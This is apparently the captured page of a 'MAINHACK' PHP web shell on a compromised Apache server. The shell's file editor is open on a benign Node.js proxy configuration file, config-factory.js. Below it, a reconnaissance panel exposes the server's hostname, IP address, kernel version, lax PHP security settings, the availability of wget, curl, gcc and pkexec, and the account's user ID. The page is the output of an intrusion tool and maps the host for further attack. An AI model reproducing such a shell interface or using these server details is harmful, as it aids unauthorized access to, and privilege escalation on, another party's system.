[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: config-factory.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.createConfig = void 0; const isPlainObj = require("is-plain-obj"); const url = require("url"); const errors_1 = require("./errors"); const logger_1 = require("./logger"); const logger = (0, logger_1.getInstance)(); function createConfig(context, opts) { // structure of config object to be returned const config = { context: undefined, options: {}, }; // app.use('/api', proxy({target:'http://localhost:9000'})); if (isContextless(context, opts)) { config.context = '/'; config.options = Object.assign(config.options, context); // app.use('/api', proxy('http://localhost:9000')); // app.use(proxy('http://localhost:9000/api')); } else if (isStringShortHand(context)) { const oUrl = url.parse(context); const target = [oUrl.protocol, '//', oUrl.host].join(''); config.context = oUrl.pathname || '/'; config.options = Object.assign(config.options, { target }, opts); if (oUrl.protocol === 'ws:' || oUrl.protocol === 'wss:') { config.options.ws = true; } // app.use('/api', proxy({target:'http://localhost:9000'})); } else { config.context = context; config.options = Object.assign(config.options, opts); } configureLogger(config.options); if (!config.options.target && !config.options.router) { throw new Error(errors_1.ERRORS.ERR_CONFIG_FACTORY_TARGET_MISSING); } return config; } exports.createConfig = createConfig; /** * Checks if a String only target/config is provided. * This can be just the host or with the optional path. * * @example * app.use('/api', proxy('http://localhost:9000')); * app.use(proxy('http://localhost:9000/api')); * * @param {String} context [description] * @return {Boolean} [description] */ function isStringShortHand(context) { if (typeof context === 'string') { return !!url.parse(context).host; } } /** * Checks if a Object only config is provided, without a context. * In this case the all paths will be proxied. * * @example * app.use('/api', proxy({target:'http://localhost:9000'})); * * @param {Object} context [description] * @param {*} opts [description] * @return {Boolean} [description] */ function isContextless(context, opts) { return isPlainObj(context) && (opts == null || Object.keys(opts).length === 0); } function configureLogger(options) { if (options.logLevel) { logger.setLevel(options.logLevel); } if (options.logProvider) { logger.setProvider(options.logProvider); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002